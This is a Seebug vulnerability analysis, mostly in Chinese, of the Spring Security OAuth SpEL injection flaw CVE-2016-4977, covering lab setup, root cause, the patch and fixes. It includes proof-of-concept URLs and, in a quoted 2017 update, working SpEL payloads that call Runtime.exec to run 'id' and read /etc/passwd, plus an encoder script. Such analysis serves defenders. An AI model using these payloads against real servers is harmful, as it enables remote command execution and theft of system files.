Lucene search

K
seebugRootSSV:92474
HistoryOct 17, 2016 - 12:00 a.m.

Spring Security Oauth remote code execution vulnerability

2016-10-1700:00:00
Root
www.seebug.org
253

0.033 Low

EPSS

Percentile

90.3%

Author: p0wd3r (知道创宇404安全实验室)

Date: 2016-10-17

0x00 漏洞概述

1.漏洞简介

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,在7月5日其维护者发布了这样一个升级公告,主要说明在用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录

2.漏洞影响

授权状态下远程命令执行

3.影响版本

2.0.0 to 2.0.9

1.0.0 to 1.0.5

0x01 漏洞复现

1. 环境搭建

docker pull maven
FROM maven

WORKDIR /tmp/
RUN wget http://secalert.net/research/cve-2016-4977.zip
RUN unzip cve-2016-4977.zip
RUN mv spring-oauth2-sec-bug/* /usr/src/mymaven

WORKDIR /usr/src/mymaven
RUN mvn clean install

CMD ["java", "-jar", "./target/demo-0.0.1-SNAPSHOT.jar"]
docker build -t mvn-spring .
docker run --rm --name mvn-spring-app -p 8080:8080 mvn-spring

2.漏洞分析

首先我们查看src/resources/application.properties的内容来获取clientid和用户的密码:

Alt text

接着我们访问这个url:

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hellotom

其中client_id就是我们前面获取到的,然后输入用户名 user,密码填上面的password

点击登录后程序会返回这样一个页面:

Alt text

可以看到由于hellotom对于redirect_uri来说是不合法的值,所以程序会将错误信息返回并且其中带着hellotom,那么这个不合法的值可不可以是一个表达式呢?我们再访问这个url:

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

结果如下:

Alt text

可以看到表达式被执行,触发了漏洞。

下面看代码,由于程序使用Whitelabel作为视图来返回错误页面,所以先看/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java中第18-40行:

@FrameworkEndpoint
public class WhitelabelErrorEndpoint {

	private static final String ERROR = "&lt;html&gt;&lt;body&gt;<h1>OAuth Error</h1><p>${errorSummary}</p>&lt;/body&gt;&lt;/html&gt;";

	@RequestMapping("/oauth/error")
	public ModelAndView handleError(HttpServletRequest request) {
		Map&lt;String, Object&gt; model = new HashMap&lt;String, Object&gt;();
		Object error = request.getAttribute("error");
		// The error summary may contain malicious user input,
		// it needs to be escaped to prevent XSS
		String errorSummary;
		if (error instanceof OAuth2Exception) {
			OAuth2Exception oauthError = (OAuth2Exception) error;
			errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
		}
		else {
			errorSummary = "Unknown error";
		}
		model.put("errorSummary", errorSummary);
		return new ModelAndView(new SpelView(ERROR), model);
	}
}

这里定义了Whitelabel对错误的处理方法,可以看到程序通过oauthError.getSummary()来获取错误信息,我们再次访问这个url并开启动态调试:

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

Alt text

请求中的${2334-1}已经被带入了errorSummary中,然后errorSummary被装入model中,再用SpelView进行渲染。

我们跟进SpelViewspring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java中第21-54行:

class SpelView implements View {

	...

	public SpelView(String template) {
		this.template = template;
		this.context.addPropertyAccessor(new MapAccessor());
		this.helper = new PropertyPlaceholderHelper("${", "}");
		this.resolver = new PlaceholderResolver() {
			public String resolvePlaceholder(String name) {
				Expression expression = parser.parseExpression(name);
				Object value = expression.getValue(context);
				return value == null ? null : value.toString();
			}
		};
	}

	...

	public void render(Map&lt;String, ?&gt; model, HttpServletRequest request, HttpServletResponse response)
			throws Exception {
		...
		String result = helper.replacePlaceholders(template, resolver);
		...
	}
}

可以看到在render时通过helper${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,在/org/springframework/util/PropertyPlaceholderHelper.class第47-56行:

public String replacePlaceholders(String value, final Properties properties) {
    Assert.notNull(properties, "\'properties\' must not be null");
    return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
        public String resolvePlaceholder(String placeholderName) {
            return properties.getProperty(placeholderName);
        }
    });
}

这个函数是个递归,也就是说如果表达式的值中有${xxx}这样形式的字符串存在,就会再取xxx作为表达式来执行。

我们看动态调试的结果:

Alt text

首先因为传入了${errorSummary},取errorSummary作为表达式来执行,继续执行程序:

Alt text

由于errorSummary中存在${2334-1},所以又取出了2334-1作为表达式来执行,从而触发了漏洞。所以从这里可以看出,漏洞的关键点在于这个对表达式的递归处理使我们可控的部分也会被当作表达式执行。

3.补丁分析

Alt text

可以看到在第一次执行表达式之前程序将$替换成了由RandomValueStringGenerator().generate()生成的随机字符串,也就是${errorSummary} -&gt; random{errorSummary},但是这个替换不是递归的,所以${2334-1}并没有变。

然后创建了一个helper使程序取random{}中的内容作为表达式,这样就使得errorSummary被作为表达式执行了,而${2334-1}因为不符合random{}这个形式所以没有被当作表达式,从而也就没有办法被执行了。

不过这个Patch有一个缺点:RandomValueStringGenerator生成的字符串虽然内容随机,但长度固定为6,所以存在暴力破解的可能性。

0x02 修复方案

  • 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
  • 使用2.0.x版本的用户升级到2.0.10以及更高的版本

0x03 参考

http://paper.seebug.org/70/

http://secalert.net/#CVE-2016-4977

https://pivotal.io/de/security/cve-2016-4977

https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d

https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java

<br>
<br>

update 2017.2.3

摘自文章:Spring Boot RCE中的另一种利用方法。

After going through some Java classes I stumbled upon the following:

java.lang.Character.toString(105) 
-&gt; prints the characer 'i'

Now I need to concat the letter ‘d’ and I’m golden. Again concat() is a method and i’m going to nest the character.toString inside it as well.

java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-&gt; prints the characters 'id'

Now crafting the final payload, I get the following:

https://&lt;domain&gt;/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

The getRuntime() method returns the runtime object which we got on screen. Now we have some sort of a Blind RCE with which we can run any commands. I wanted to go a step further and get the output on screen (just for fun). At this point I wanted to do a cat etc/passwd and print the result onto the Whitelabel Error page. This meant for every character I would need to write its ASCII equivalent in the format concat(T(java.lang.Character).toString(&lt;ascii value&gt;)). Wrote a quick sloppy python script to acheive this:

Python Script:

#!/usr/bin/env python
from __future__ import print_function
import sys

message = raw_input('Enter message to encode:')

print('Decoded string (in ASCII):\n')
for ch in message:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

Now to get the output of cat etc/passwd in the response, we will use the IOUtils class and call the toString() method. We can pass an input stream to this method and get the contents of the stream as a response.

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
1)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
g(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

The payload became quite huge. To sum up, I used the Apache IOUtils library. I converted cat etc/passwd into ASCII characters using the character class, passed this value to the exec() method and got the input stream and passed it to the toString() method of IOUtils class. Awesome isnt it. I tried this on the remote box and got the following.

0.033 Low

EPSS

Percentile

90.3%